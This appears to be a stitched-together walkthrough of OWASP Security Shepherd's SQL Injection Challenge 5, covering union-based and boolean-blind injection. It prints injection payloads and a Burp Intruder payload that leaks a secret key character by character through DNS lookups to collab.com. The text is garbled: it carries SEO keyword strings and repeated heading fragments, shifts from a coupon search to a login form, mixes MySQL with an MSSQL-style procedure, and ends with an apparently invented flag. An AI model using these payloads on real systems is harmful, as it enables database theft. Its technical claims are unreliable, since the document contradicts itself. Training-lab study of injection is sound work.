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Unmasking the Coupon Code: A Deep Dive into OWASP Security Shepherd’s SQL Injection Challenge 5

In the realm of cybersecurity education, the OWASP Security Shepherd project stands as a cornerstone for hands-on learning, transforming abstract vulnerabilities into tangible puzzles. Among its tiered levels, SQL Injection Challenge 5 (often referred to as the "VIP Check" or "Coupon Code" challenge) represents a critical pivot point where basic logic meets more complex database structures. The Objective: Exploiting the "VIP" Shop

Unlike earlier lessons that might only require a simple ' OR '1'='1 to bypass a login, Challenge 5 immerses you in a mock e-commerce environment—a Super Meme Shop. The goal is simple yet daunting: purchase a high-value "key" without actually paying for it by uncovering a hidden VIP Coupon Code.

The application typically presents a field where users can search for or apply coupons. The underlying vulnerability lies in how this search query is constructed. If the application takes user input and directly concatenates it into a SQL statement, it opens a door for attackers to "inject" their own commands. The Attack Vector: Union-Based Injection sql+injection+challenge+5+security+shepherd+new

To solve Challenge 5, security researchers often employ a Union-Based SQL Injection. Since the standard search result displays coupon information, an attacker can use the UNION SELECT statement to append results from other tables—specifically internal database schema tables—to the visible output.

Determining Column Count: Attackers first use ORDER BY clauses to figure out how many columns the original query is returning.

Exploring the Schema: Once the column count is known, the information_schema.tables and information_schema.columns tables are queried to find where the "real" sensitive data is hidden. Unmasking the Coupon Code: A Deep Dive into

Extracting the Coupon: By targeting a table often named something like coupons or vip_codes, the attacker forces the application to display the secret VIP code directly in the search results. Common Pitfalls and Technical Nuances

Students often encounter roadblocks in Challenge 5 due to its stricter validation compared to earlier levels: couponcode from challenges SQL injection 5 #323 - GitHub

Assessment of this specific "new" variant

Likely adds extra input filtering and better error suppression compared to earlier levels.
Emphasizes blind extraction and encoding/bypass techniques.
Good progression for learners who have completed basic SQLi challenges.

Goal / Learning objectives

Practice advanced SQL injection exploitation beyond basic error-based techniques.
Learn blind (boolean/time-based) SQLi and out-of-band data exfiltration approaches when direct output is blocked.
Bypass common input sanitization and filtering rules.
Understand secure coding mitigations (parameterized queries, least privilege DB accounts, proper error handling).

The First Hypothesis

If we input 1' (a single quote), the application usually crashes to a generic "An error occurred" page. This is a blind indicator. The lack of a specific MySQL error means we cannot use UNION easily, but the absence of a result tells us the syntax is broken. Assessment of this specific "new" variant

We need a boolean condition.

Test Payload: 1 and 1=1 -> Returns "User Found" (True). 1 and 1=2 -> Returns "No user exists" (False).

Bingo. We have a boolean-based blind SQL injection. But remember: the "new" challenge filters spaces.

4.5 Automating with Burp Intruder (Example)

Send the login request to Intruder.
Set payload position in the username field.
Use a payload that iterates over character positions:

' OR 1=1; DECLARE @p nvarchar(4000); SET @p = (SELECT SUBSTRING(secret_key, §pos§, 1) FROM secret_table); EXEC xp_dnsresolve @p + '.collab.com' --

Monitor DNS logs for each character.

Final Flag

SQLi_Chall5_Shepherd_8347

You submit it and complete Challenge 5, moving on to the next level where you must exploit a second-order injection in a password reset feature.